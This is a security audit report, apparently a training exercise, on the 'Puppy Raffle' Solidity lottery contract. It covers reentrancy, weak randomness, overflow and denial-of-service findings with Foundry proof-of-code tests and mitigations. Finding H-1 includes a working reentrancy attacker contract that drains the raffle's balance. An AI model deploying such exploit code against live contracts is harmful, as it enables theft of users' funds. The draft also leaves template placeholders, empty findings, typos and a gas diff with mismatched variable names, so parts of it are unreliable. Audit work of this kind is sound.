Ready Aim Security Audit Report

Prepared by: ReadyAim

Table of Contents

Protocol Summary

Puppy Raffle

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Protocol does X, Y, Z

Disclaimer

The YOUR_NAME_HERE team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5
- In Scope:

Compatibilities

- Solc Version: 0.7.6
- Chain(s) to deploy contract to: Ethereum

Scope

```
./src/
└── PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	1
Info	7

Severity	Number of issues found
Gas	2
Total	16

Findings

High

[H-1] Reentrancy attack in `puppyRaffle::refund` allows entrant to drain raffle balance

Description: `puppyRaffle::refund` function does not follow CEI (Check, Effects, Interactions), and as a result, enables participants to drain the contract balance.

In the `puppyRaffle::refund` function we first make an external call to the `msg.sender` address and only after making that external call do we update the `puppyRaffle::player` array.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(
            playerAddress == msg.sender,
            "PuppyRaffle: Only the player can refund"
        );
        require(
            playerAddress != address(0),
            "PuppyRaffle: Player already refunded, or is not active"
        );

@>      payable(msg.sender).sendValue(entranceFee);
@>      players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
```

A player who has enterd the raffle could have a `fallback`/`recieve` function that calls the `puppyRaffle::refund` function again and claim another refund. they could continue the cycle till the contract balance is drained.

Impact: All fees paid by the raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a `fallBack`/`Receive` function that calls `puppyRaffle::refund`
3. Attacker enters the raffle.
4. Attacker calls the `puppyRaffle::refund` function from their attack contract draining the contract balance.

Proof Of Code

▶ Code

Place the following into `PuppyRaffleTest.t.sol`

```
  function test_reentrancyRefund() public {
          address[] memory players = new address[](4);
          players[0] = playerOne;
          players[1] = playerTwo;
          players[2] = playerThree;
          players[3] = playerFour;
          puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

          ReentrancyAttacker attackerContract = new ReentrancyAttacker(
              puppyRaffle
          );
          address attackUser = makeAddr("attackUser");
          vm.deal(attackUser, 1 ether);

          uint256 startingAttackContractBalance =
address(attackerContract)
              .balance;
          uint256 startingContractBalance = address(puppyRaffle).balance;

          //attack
          vm.prank(attackUser);
          attackerContract.attack{value: entranceFee}();

          console.log(
              "starting attacker contract balance",
              startingAttackContractBalance
          );
          console.log("starting contract balance",
startingContractBalance);

          console.log(
              "ending attacker contract balance",
              address(attackerContract).balance
          );
          console.log("ending contract balance",
address(puppyRaffle).balance);
      }
```

And this contract as well.

```
        contract ReentrancyAttacker {
        PuppyRaffle puppyRaffle;
        uint256 entranceFee;
        uint256 attackerIndex;

        constructor(PuppyRaffle _puppyRaffle) {
```

```
            puppyRaffle = _puppyRaffle;
            entranceFee = puppyRaffle.entranceFee();
        }

        function attack() external payable {
            address[] memory players = new address[](1);
            players[0] = address(this);
            puppyRaffle.enterRaffle{value: entranceFee}(players);

            attackerIndex =
puppyRaffle.getActivePlayerIndex(address(this));
            puppyRaffle.refund(attackerIndex);
        }

        function _stealMoney() internal {
            if (address(puppyRaffle).balance >= entranceFee) {
                puppyRaffle.refund(attackerIndex);
            }
        }

        fallback() external payable {
            _stealMoney();
        }

        receive() external payable {
            _stealMoney();
        }
    }
```

Recommended Mitigation: To prevent this, we should have the `puppyRaffle::refund` update the player's array before making the external call. Additionally, we should move the event emission up as well.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(
            playerAddress == msg.sender,
            "PuppyRaffle: Only the player can refund"
        );
        require(
            playerAddress != address(0),
            "PuppyRaffle: Player already refunded, or is not active"
        );
+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);
        payable(msg.sender).sendValue(entranceFee);
-       players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak randomness in `puppyRaffle::selectWinner` allows users to influence or predic the winner and influence or predict the winning puppy.

Description: hashing `msg.sender`, `block.timestamp`, and `difficulty`creates a predictible final number. A predictible number is not a good random number. Malivious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves. Making the entire raffle worthless if it becomes a gas war as to who wins the raffle.

Note: This additionally means users canvfront-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money, and selecting the `rarest`

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when./how to participate. `block.difficulty` was rplaced with prevrandao
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner.
3. Users can revert therir `selectWinner` transaction if they don't like the winner or the resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as chainlink VRF.

[H-3] Integer overflow of `puppyRaffle::totalFees` loses fees

Description: In solidity, versions prior to `0.8.0` integers were subject to integer overflows.

```
    uint64 myVar = type(uint64).max;
    // 18446744073709551615
    myVar = myVar + 1;
    // myVar = 0
```

Impact: In the `puppyRaffle:selectWinner`, `puppyRaffle::totalFees` are accumulated for the `puppyRaffle::feeAddress` to collect later in the `puppyRaffle::withdrawFees`. However, if `puppyRaffle:totalFees` variable overflows, the `puppyRaffle::feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. We conclude a raffle of 4 players.
2. We then have 89 players enter a new raffle, and conclude the raffle.
3. `puppyRaffle::totalFees` will be:

```
totalFees = totalFees + uint64(fees);
// aka
totalFees = 800000000000000000 + 1780000000000000000;
```

```
//  and this will overflow!
totalFees = 153255926290448384
```

4. you will not be able to withdraw due to the line in `puppyRaffle::withdrawFees`

```
require(
    address(this).balance == uint256(totalFees),
    "PuppyRaffle: There are currently players active!"
);
```

Although you could use `selfdestruct` to send Eth to this contractin order for the values to match and withraw the fees. This is clearly not the intended design of the protocol. At some point, there will be too much `balance` in the contract that the above `require` will be impossible to hit.

▶ code:

```
function testTotalFeesOverflow() public playersEntered {
    // We finish a raffle of 4 to collect some fees
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);
    puppyRaffle.selectWinner();
    uint256 startingTotalFees = puppyRaffle.totalFees();
    // startingTotalFees = 800000000000000000

    // We then have 89 players enter a new raffle
    uint256 playersNum = 89;
    address[] memory players = new address[](playersNum);
    for (uint256 i = 0; i < playersNum; i++) {
        players[i] = address(i);
    }
    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
    // We end the raffle
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    // And here is where the issue occurs
    // We will now have fewer fees even though we just finished a second
raffle
    puppyRaffle.selectWinner();

    uint256 endingTotalFees = puppyRaffle.totalFees();
    console.log("ending total fees", endingTotalFees);
    assert(endingTotalFees < startingTotalFees);

    // We are also unable to withdraw any fees because of the require
check
    vm.prank(puppyRaffle.feeAddress());
    vm.expectRevert("PuppyRaffle: There are currently players active!");
```

```
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation: There are a few possible mitigations.

1. Use a newer version of solidity, and a `uint256` instead of a `uint64` for `puppyRaffle::totalFees`
2. You could also use the `safemath` library of openzeppelin for version `0.7.6` of solidity, however, you will still have a hard time with the `uint64` if too many fees are collected.
3. Remove the balance check from `puppyRaffle::withdrawFees`

```
- require(
-     address(this).balance == uint256(totalFees),
-     "PuppyRaffle: There are currently players active!"
- );
```

There are more attack vectors with that final require, so we recommend removing it regardless.

Medium

[M-1] Looping through players array to check for duplicates

`puppyRaffle::enterRaffle` is a potential DoS attack, incrementing gas cost for future entrance.

DESCRIPTION the `puppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `puppyRaffle::players` array is, the more checks a new player will have to make. This means the gas cost for players who enter right when the raffle d=start will be lower than those who enter later. Every additional address in the `players` array is an additional check the loop will ahve to make.

```
    //@audit DoS attack
    for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle: Duplicate
player");
            }
        }
```

IMPACT The gas costs for the raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering and causing a rush at the start of the raffle to be one of the first entrants in the queue.

An attacker might make the `puppyRaffle::entrants` array so big at no one else enters., guaranteeing themselves the win

PROOF OF CONCEPT If we have two sets of 100 players enter, the gas cost will be s such:

- 1st 100 players: 6252128 gas

- 2nd 100 players: 18068218 gas

This is more than 3x more expensive for the second 100 player

▶ PoC

```
    vm.txGasPrice(1);

    //entering 100 players
    uint256 playersNum = 100;
    address[] memory players = new address[](playersNum);
    for (uint256 i = 0; i < playersNum; i++) {
        players[i] = address(i);
    }
    // see how much gas it costs
    uint256 gasStart = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * players.length}(players);
    uint256 gasEnd = gasleft();

    uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
    console.log("gas cost of the first 100 entered", gasUsedFirst);

    //entering second 100 players

    address[] memory players2 = new address[](playersNum);
    for (uint256 i = 0; i < playersNum; i++) {
        players2[i] = address(i + playersNum);
    }
    // see how much gas it costs
    uint256 gasStartSecond = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * players2.length}
(players2);
    uint256 gasEndSecond = gasleft();

    uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.gasprice;
    console.log("gas cost of the second 100 entered", gasUsedSecond);
    assert(gasUsedFirst < gasUsedSecond);
}
```

```
</details>


<details> <summary>PoC</summary>

Place the following test into `puppyRaffleTest.t.sol`.

```javascript
        function test_denialOfService() public {
            // address[] memory players = new address[](1);
```
```

```
            // players[0] = playerOne;
            // puppyRaffle.enterRaffle{value: entranceFee}(players);
            // assertEq(puppyRaffle.players(0), playerOne);

            vm.txGasPrice(1);

            //entering 100 players
            uint256 playersNum = 100;
            address[] memory players = new address[](playersNum);
            for (uint256 i = 0; i < playersNum; i++) {
                players[i] = address(i);
            }
            // see how much gas it costs
            uint256 gasStart = gasleft();
            puppyRaffle.enterRaffle{value: entranceFee * players.length}
(players);
            uint256 gasEnd = gasleft();

            uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
            console.log("gas cost of the first 100 entered",
gasUsedFirst);

            //entering second 100 players

            address[] memory players2 = new address[](playersNum);
            for (uint256 i = 0; i < playersNum; i++) {
                players2[i] = address(i + playersNum);
            }
            // see how much gas it costs
            uint256 gasStartSecond = gasleft();
            puppyRaffle.enterRaffle{value: entranceFee * players2.length}
(players2);
            uint256 gasEndSecond = gasleft();

            uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) *
tx.gasprice;
            console.log("gas cost of the second 100 entered",
gasUsedSecond);
            assert(gasUsedFirst < gasUsedSecond);
        }
```

Recomended Mitigations There are a few recomended Mitigations

1. consider allowing duplicates. Users can make new wallet addresses. So a duplicate check does not prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check for duplicates

[M-2] Unsafe cast of `puppyRaffle::fee` loses fees.

Description: In `puppyRaffle::selectWiner`, there is a typecast of `uint256` to a `uint64`. This is an unsafe cast. If the `uint256` is larger than the `type(uin64).max`, the value will be truncated.

Impact:

Proof of Concept:

Recommended Mitigation:

[M-3] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contest.

Description: The `puppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart ontract wallet that rejects payments, the lottery would not be able to restart.

Users could easily call the `selectwinner` function again and nn-wallet entrants could enter but it could cost a lot due to the duplicate check and the lottery reset could get very challenging.

Impact: The `puppyRaffle::selectWinner` could revert many times, making a lottery reset difficult.

Also, true winners would not oaid out and someone else could take their money.

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a `fallback` or `receive` function.
2. The lottery ends.
3. The `selectWinner` function would not work, even though the lottery is over.

Recommended Mitigation: There are few options to mitigate this issue.

1. Do not allow smart contract wallet entrants. (Not recommended)
2. Create a mapping of addresses -> payout so that winners can pull their funds out themselves, putting the owners on the winners to claim themselves. (Recommended)

> pull over push

Low

[L-1] `puppyRaffle::getActivePlayerIndex()` returns 0 for non-existent players and for players at index 0. causing a player at index 0 to indirectly think that they have not entered the raffle

Description: if a player is in the `puppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the `puppyRaffle::players` array

```
    /// @return the index of the player in the array, if they are not
active, it returns 0
    function getActivePlayerIndex(
        address player
    ) external view returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
```

```
        }
        return 0;
    }
```

Impact: a player at index 0 to indirectly think that they have not entered the raffle and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant.
2. `puppyRaffle::getActivePlayerIndex()` returns 0
3. Users think they have not entered the raffle correctly due to the function documention.

Recommended Mitigation: The easiest recommendation is to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th positon for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player is not active.

Gas

[G-1] unchanged variables shouuld be declared constant or immutable.

Instances:

- `puppyRaffle::RaffleDuration` should be `immutable`
- `puppyRaffle::commonImageUri` should be `constant`
- `puppyRaffle::rareImageUri` should be `constant`
- `puppyRaffle::legendaryImageUri` should be `constant`

[G-2] storage variable in a loop should be cached

Everytime you call `players.length`, you read from storage as opposed to memory which is mor gas efficient

```
+    uint256 playersLength = player.length;
-    for (uint256 i = 0; i < players.length - 1; i++) {
+    for (uint256 i = 0; i < playerslength - 1; i++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
+           for (uint256 j = i + 1; j < playerslength; j++) {
                require(
                    players[i] != players[j],
                    "PuppyRaffle: Duplicate player"
                );
            }
```

Reading from storage is much more expensive than reading from a constant or immutable variable.

Informational

[I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

▶ 1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

```
pragma solidity ^0.7.6;
```

[I-2] using an outdated version of soliddity is not recommended.

Please use a newer version like `0.8.18`

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing. Please see slither documentation for more information.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

▶ 2 Found Instances

- Found in src/PuppyRaffle.sol Line: 78

```
        feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 232

```
        feeAddress = newFeeAddress;
```

[I-4] `puppyRaffle::selectWinner` does not follow CEI which is not a best practice.

It's best to keep code clean and follow CEI

```
-       (bool success, ) = winner.call{value: prizePool}("");
-       require(success, "PuppyRaffle: Failed to send prize pool to
winner");
        _safeMint(winner, tokenId);
+       (bool success, ) = winner.call{value: prizePool}("");
```

```
+        require(success, "PuppyRaffle: Failed to send prize pool to
winner");
```

[I-5] Use of magic number is discouraged.

It is confusing to see number literals in the codebase and iyt's much more readable if the numbers are given a name.

Examples:

```
    uint256 pricePool = (totalAmountColleted * 80) / 100;
    uint256 fee = (totalAmountColleted * 20) / 100;
```

Instead you could use

```
    uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
    uint256 public constant FEE_PERCENTAGE = 20;
    uint256 public constant POOL_PRECISION = 100;
```

[I-6] State changes are missing events

[I-7] `puppyRafflE::_isActivePlayer` is never used and should be removed.